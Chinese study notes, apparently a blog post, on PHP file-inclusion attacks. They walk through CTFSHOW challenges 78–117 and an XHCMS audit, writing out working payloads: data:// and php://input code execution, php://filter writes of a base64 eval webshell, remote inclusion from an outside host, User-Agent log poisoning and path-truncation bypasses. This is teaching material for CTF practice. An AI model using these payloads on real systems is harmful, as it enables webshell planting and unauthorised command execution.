网安之web攻防第四十二天笔记

目录

#知识点:

前置知识-原理&分类&探针&利用&修复

CTF应用-CTFSHOW-78关卡到117关卡

78-php&http协议

79-data&http协议

80 日志包含

81日志包含

82-86-SESSION包含

87-php://filter/write&加密编码

88-data&base64协议

117-php://filter/write&新的算法

#CMS源码-XHCMS-代码审计&日志&绕过


#知识点:

1、解释-什么是文件包含

2、分类-本地LFI&远程RFI

3、利用-配合上传&日志&会话

4、利用-伪协议&编码&算法等

前置知识-原理&分类&探针&利用&修复

在php里面包含一个东西就是利用的是include,在大一的时候学c语言的时候,我们想要执行print进行输出时需要现在前面有include,因为print这个函数在stdio.h这个里面定义了,不包含就不能使用print函数。

比如这里我们想要实现过滤功能,两种方法一种是在每个需要进行过滤的地方写过滤代码,也可以弄个文件里面写上过滤代码,然后在需要的地方包含文件即可。

这里包含的是1.php这个文件,假如说1.php文件里面写的是phpinfo();,那么我们访问这个文件就会得到phpinfo的信息。但如果说这里不是1.php而是一个变量的话,那这里就有可能出现文件包含漏洞了。

可以配合文件上传,但是如果没有文件上传点的话也可以配合日志文件去getshell,这个之前讲过通过修改ua里面的信息为后门代码这个知识。

#核心知识:

1、本地包含LFI&远程包含RFI-区别

一个只能包含本地,一个可以远程加载

具体形成原因由代码和环境配置文件决定

远程文件包含的就是可以访问远程资源,而本地文件包含就只能访问本地资源。远程的一般是伪协议http和https

2、各类脚本语言包含代码写法-见下文

<!--#include file="1.asp"-->
<!--#include file="top.aspx”-->
<c:import url="http://thief.one/1.jsp">
jsp:include page="head.jsp"/>
<%@include file="head.jsp"%>
<?php Include(test.php')?>

3、各类脚本语言包含伪协议玩法-见图

https://www.cnblogs.com/endust/p/11804767.html

#思路要点:

1.黑盒发现:主要观察参数传递的数据和文件名是否对应

在黑盒中这个文件包含漏洞是比较难找的,一般就是看url中变量那里等于的是不是个文件名之类的,然后修改文件名再尝试,这个黑盒里面文件包含还是比较难搞的,因为不知道包含的文件名。

CTF应用-CTFSHOW-78关卡到117关卡

78-php&http协议

这里我们是不能直接输入变量file等于flag.php的,因为根据源码就可以知道,输入的变量值为flag.php,那么只会包含这个flag.php,也不会去显示里面的内容,根据之前讲的,可以先利用文件上传,但是这里没有上传点,那么我们只能利用伪协议或则日志文件了。

伪协议玩法 https://www.cnblogs.com/endust/p/11804767.html

这里有三种解题方式的,也就是三种伪协议去构造payload

第一种:

payload: ?file=php://input

post:

这里也是通过ls命令得知了目录中有flag.php文件和index.php文件

第二种:

?file=php://filter/read=convert.base64-encode/resource=flag.php

这个得到的内容是经过base64编码了,解码一下就得到flag了

第三种方法:

payload: ?file=http://www.xiaodi8.com/1.txt

1.txt:

这个就是利用外部文件包含来解题的,但这个也是可以通过代码或则环境配置文件来禁止访问外部资源,从而让远程文件包含直接失效了。

79-data&http协议

可以看到这个题是把php过滤了,直接把php替换成问号。这个是绕过不了的,除非是替换为空可以用双写绕过。

那这里把php过滤了,我们可以用其他伪协议去获取flag

第一种方法:

payload: ?file=data://text/plain,

注意:这里flag的php用*代替了,因为php被过滤了。并且这个*号是tac这个系统命令可以识别的,如果是其他伪协议就不能加*号了,因为识别不到。

第二种方法:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

这个跟上一个payload一样,只不过用了base64编码,获取的flag解码一下就行了。

第三种方法:

payload: ?file=http://www.xiaodi8.com/1.txt

1.txt:

80 日志包含

这个把php和data都过滤了,然后远程文件包含也关闭了,那么只剩zip和file这俩伪协议了。但这俩伪协议都需要具体的路径地址,这是行不通的,就算我们知道路径地址了,它把php关键字过滤了,payload中的flag.php相当于就不行,并且也不能用*号代替,因为识别不了。那么伪协议就不行了。只能用日志文件了。

这里我们先看数据包发现中间件是nginx,然后尝试利用file伪协议去包含nginx的默认日志地址,发现可以。

然后抓包修改ua信息(这个题是fl0g.php,可以先用ls看一下。)

最后也是成功的得到了flag

81日志包含

这个只是比80多过滤了个冒号,但是包含日志的路径也没有冒号,所以方法跟上一题是一模一样的。

82-86-SESSION包含

这个因为题出问题了,做不了,小迪就简要讲了一下,首先这个seeion是存放在tmp目录下的,在这个phpstudy搭建的网站中,使用这个php的网站发送的数据包中的session都会存放到这里来。

那我们就可以修改session的值,比如改成flag,那么这个文件名就是sess_flag,知道了目录以及文件名就可以去包含这个文件,然后利用这个函数PHP_SESSION_UPLOAD_PROGRESS去给这个文件写入后门代码即可。但写入的东西因为这个session.upload_progress.cleanup 的配置,就会定期的清理上传的文件,所以要进行条件竞争,就是在没有上传的时候就一直访问,来和服务器去竞争。

具体可以看链接,讲解的更为细致:

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含 - NPFS - 博客园 (cnblogs.com)

重点:在进行文件包含漏洞的攻防时,想要包含一个文件,这个文件从哪里来?

有三个方面,就是下图中写的。

第一个就是通过文件上传获取,这里可能有人会问,为什么不直接上传后门,

注意:这里讲的是文件包含,如果能直接上传后门的话,那就是文件上传的漏洞了,这里的文件上传是指的是上传图片那种可以上传的,毕竟直接上传后门也上传不了啊。然后就是把后门代码写入到图片中,进行文件包含我们上传的图片,因为文件包含想要执行文件中的代码是不看后缀的,就算后缀是png,txt等都是可以直接执行,也就是说包含即调用,调用即以php脚本去执行。当不能上传文件的时候使用下面两种方法。

第二个:日志写入,这个一般是修改ua信息,因为日志中一般记录的就是ua信息。还有一个就是session文件写入。

第三种就是伪协议玩法了,这个首先要注意一些开关的开启,更重要的是可控变量前后没有东西,如果有东西的话,那么就会导致由伪协议构造的payload不完整。并且伪协议不仅能读文件还能写文件,并且还能进行编码算法的转换。

87-php://filter/write&加密编码

这个题在原来的基础上对冒号和点过滤了,那包含日志就不行了,因为日志文件是access.log里面带点。

1、利用base64:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=

这里是write,因为文件不存在相当于是创造一个文件,然后如果用base64方法的话需要把payload用url编码两次,因为payload要写到url中,浏览器会自己解码一次,然后题中urldecode再解码一次,然后数据content要用base64进行编码一下(前面要加上aa,我不知道为啥,小迪也没细说,说不理解就用下面的凯撒13去编码),这里数据要base64编码是因为写的payload会对数据进行base64解码。

凯撒13在线解码链接CTF在线工具-在线Rot13密码加密|在线Rot13密码解密|Rot13密码算法|Rot13 Cipher (hiencode.com)

这里也是用凯撒13加密把flag整出来了,用base64加密方法也是一样的

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

他把加号和等号也过滤了。所以编码之后的也不能带这俩符号

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

最后也是成功读到了。

117-php://filter/write&新的算法

这里它把base64和rot13也过滤了。但是php伪协议没有过滤,所以我们可以用php伪协议,然后配合一种新的编码技术去绕过。也就是这个convert.iconv

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=??

函数的执行结果如下图,

$result = iconv("UCS-2LE","UCS-2BE", '');

echo "经过一次反转:".$result."\n";

echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

?>

#CMS源码-XHCMS-代码审计&日志&绕过

首先我们看这个首页文件,可以看到传入的action前面会有一个files后面有个php,这就直接导致伪协议不能用了,再然后网页前端没有上传点,所以那三个方法直接pass了两个了,只有日志和session了,这两个也需要具体的路径,而我们实战的时候咋会知道路径呢,所以基本没啥用了。这里我们可以利用日志,但就是白盒了,首先跳转到日志的目录,

我们需要从files这个目录下跳转到logs这个目录,参数r=../../../Extensions/Nginx1.15.11/logs/access.log

这里因为后缀会带一个php,所以会导致访问不成功,所以我们只能利用利用Windows文件长度特性绕过PHP后缀拼接,但是这个只针对低版本的php了,高版本的不适用,但是现在基本都是高版本的php了,5.几版本的php很少见了,所以这个方法用处不大

1、搜索特定函数寻包含点

2、固定目录及后缀名需绕过

3、由CMS无上传用日志包含

4、利用长度绕过后缀名固定

Payload:

?r=../../../Extensions/Nginx1.15.11/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

每个人电脑的日志文件不一样,可以适当改一下,这里不知道为啥我的日志文件访问不了,就不做了。具体就是利用Windows文件长度特性绕过PHP后缀拼接,然后打开日志文件之后抓包,修改后门代码到ua头里面,直接链接即可。

-白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

#本课总结:

1、有可控文件如能上传文件,配合上传后包含

2、无可控文件可以利用日志或Session&伪协议

3、代码固定目录及文件后缀时需考虑版本绕过

4、伪协议玩法是建立在代码中只有变量存在时

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaopeisec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值